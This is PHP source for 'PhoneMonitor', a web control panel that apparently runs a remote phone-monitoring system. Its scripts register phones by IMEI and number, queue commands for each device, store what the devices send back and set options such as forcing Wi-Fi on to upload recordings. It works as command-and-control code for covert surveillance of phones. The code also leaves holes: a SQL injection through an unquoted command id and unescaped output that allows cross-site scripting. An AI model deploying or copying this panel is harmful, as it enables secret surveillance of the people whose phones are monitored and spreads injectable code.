connect_errno==0) 31 | { 32 | $username=$conn->escape_string($_POST['username']); 33 | $passwordhash=password_hash($_POST['password'],PASSWORD_DEFAULT); 34 | $createNewUserQuery="INSERT INTO users VALUES ('$username','$passwordhash',0)"; 35 | if($conn->query($createNewUserQuery)) 36 | { 37 | $message='Account created successfully.'; 38 | } 39 | else 40 | { 41 | $message='Could not create account!'; 42 | } 43 | 44 | } 45 | else 46 | { 47 | $message='Could not connect to database.'; 48 | } 49 | 50 | } 51 | else 52 | { 53 | $message='Passwords do not match!'; 54 | } 55 | } 56 | 57 | 58 | ?> 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | PhoneMonitorCP 79 | 80 | 81 | 82 | 93 | 94 |
95 |
96 |

PhoneMonitor Control Panel

97 |

98 | Please register an account to use PhoneMonitor Control Panel.
99 | Your account will need to be approved by the administrator before you can sign in. 100 |

101 | 102 |

103 | Use the form below to register. 104 |

105 |
106 |
107 |
108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 |
116 |
117 |
118 |
119 | 120 | 121 | 122 | -------------------------------------------------------------------------------- /Webpanel/outputlist.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Latest outputs 23 | 24 | 25 | 26 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | connect_errno==0) 60 | { 61 | $response=$conn->query($getoutputlistquery); 62 | if($response) 63 | { 64 | $row_num=0; 65 | echo(""); 66 | while($row=$response->fetch_assoc()) 67 | { 68 | echo(""); 69 | echo(""."".""."".""); 73 | echo(""); 74 | } 75 | echo(""); 76 | } 77 | } 78 | ?> 79 |
SNNumberCommandExecutedResult
".++$row_num."".$row['Number']."" 70 | .getCommandString($row['CommandId'])."" 71 | .date('h:i:s a | l, F j, Y',strtotime($row['ExecutedDateTime'])) 72 | ."".$row['Result']."
80 | 81 | 82 | -------------------------------------------------------------------------------- /Webpanel/report.php: -------------------------------------------------------------------------------- 1 | connect_errno==0)//if no error during connection 8 | { 9 | CreateClientlistTableIfNotExists($conn); 10 | $imei=$conn->escape_string($_POST['IMEI']);//IMEI, which is unique for each mobile phone 11 | $number=$conn->escape_string($_POST['number']); 12 | $manufacturer=$conn->escape_string($_POST['manufacturer']); 13 | $model=$conn->escape_string($_POST['model']); 14 | $uniqueid=$conn->escape_string($_POST['uniqueid']); 15 | date_default_timezone_set('Asia/Kathmandu'); 16 | $datetimenow=$conn->escape_string(date("Y-m-d H:i:s")); 17 | $updateorinsertquery="INSERT INTO clientlist (Number, IMEI, Manufacturer, Model, UniqueId, LastSeen) 18 | VALUES ('$number', '$imei', '$manufacturer', '$model', '$uniqueid' ,'$datetimenow') ON DUPLICATE KEY 19 | UPDATE LastSeen='$datetimenow'"; 20 | if($conn->query($updateorinsertquery)) 21 | { 22 | echo("Table updated."); 23 | } 24 | else 25 | { 26 | echo("Error updating table! $conn->error"); 27 | } 28 | $conn->close(); 29 | } 30 | else 31 | { 32 | echo("Error connecting to database! $conn->connect_errno"); 33 | } 34 | } 35 | exit(); 36 | 37 | ?> -------------------------------------------------------------------------------- /Webpanel/setcommands.php: -------------------------------------------------------------------------------- 1 | connect_errno==0) 11 | { 12 | CreateCommandlistTableIfNotExists($conn); 13 | $deviceuid=$conn->escape_string($_POST['deviceuid']); 14 | $commandid=$conn->escape_string($_POST['commandid']); 15 | $param1=$conn->escape_string(@$_POST['param1']);//without @ to suppress warnings, the echo output will be messed up with warnings 16 | $param2=$conn->escape_string(@$_POST['param2']); 17 | $param3=$conn->escape_string(@$_POST['param3']); 18 | $param4=$conn->escape_string(@$_POST['param4']); 19 | date_default_timezone_set('Asia/Kathmandu'); 20 | $datetimenow=$conn->escape_string(date("Y-m-d H:i:s")); 21 | $insertcommandquery="INSERT INTO commandlist (DeviceUniqueId, CommandId, Pending, 22 | Param1, Param2, Param3, Param4, AddedDateTime) VALUES ('$deviceuid', $commandid, 1, 23 | '$param1', '$param2', '$param3', '$param4', '$datetimenow')"; 24 | if($conn->query($insertcommandquery)) 25 | { 26 | echo("Commandlist table updated."); 27 | } 28 | else 29 | { 30 | echo("Error updating table! $conn->error"); 31 | } 32 | $conn->close(); 33 | } 34 | else 35 | { 36 | echo("Error connecting to database! $conn->connect_errno"); 37 | } 38 | } 39 | } 40 | 41 | exit(); 42 | ?> -------------------------------------------------------------------------------- /Webpanel/setoutput.php: -------------------------------------------------------------------------------- 1 | connect_errno==0){ 10 | $uniqueid=$conn->escape_string($_POST['uniqueid']); 11 | $commandid=(int) $conn->escape_string($_POST['commandid']); 12 | $param1=$conn->escape_string($_POST['param1']); 13 | $param2=$conn->escape_string($_POST['param2']); 14 | $param3=$conn->escape_string($_POST['param3']); 15 | $param4=$conn->escape_string($_POST['param4']); 16 | $output=$conn->escape_string(getResultString($_POST['output'],$commandid,$uniqueid)); 17 | date_default_timezone_set('Asia/Kathmandu'); 18 | $datetimenow=$conn->escape_string(date("Y-m-d H:i:s")); 19 | 20 | $udpatependingstatusquery="UPDATE commandlist SET Pending=0, ExecutedDateTime='$datetimenow', Result='$output' 21 | WHERE DeviceUniqueId='$uniqueid' AND Pending=1 AND CommandId=$commandid 22 | AND Param1='$param1' AND Param2='$param2' AND Param3='$param3' AND Param4='$param4'"; 23 | $response=$conn->query($udpatependingstatusquery); 24 | 25 | if($response) 26 | { 27 | echo("Table updated"); 28 | } 29 | } 30 | } 31 | } 32 | 33 | ?> -------------------------------------------------------------------------------- /Webpanel/setsettings.php: -------------------------------------------------------------------------------- 1 | connect_errno==0) 10 | { 11 | CreateSettingsTableIfNotExists($conn); 12 | $deviceuid=$conn->escape_string($_POST['deviceuid']); 13 | $forceWifiOnForRecordUpload=($_POST['forceWifiOnForRecordUpload']=='true'?1:0); 14 | $serverTalkInterval=(int)$conn->escape_string($_POST['serverTalkInterval']); 15 | 16 | $updatesettingsquery="REPLACE INTO settings (DeviceUniqueId, ForceWifiOnForRecordUpload, 17 | ServerTalkInterval) VALUES ('$deviceuid', $forceWifiOnForRecordUpload, $serverTalkInterval)"; 18 | if($conn->query($updatesettingsquery)) 19 | { 20 | echo("Settings table updated."); 21 | } 22 | else 23 | { 24 | echo("Error updating table! $conn->error"); 25 | } 26 | $conn->close(); 27 | } 28 | else 29 | { 30 | echo("Error connecting to database! $conn->connect_errno"); 31 | } 32 | 33 | } 34 | 35 | exit(); 36 | ?> -------------------------------------------------------------------------------- /interactiondiagram.xml: -------------------------------------------------------------------------------- 1 | 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 2 | --------------------------------------------------------------------------------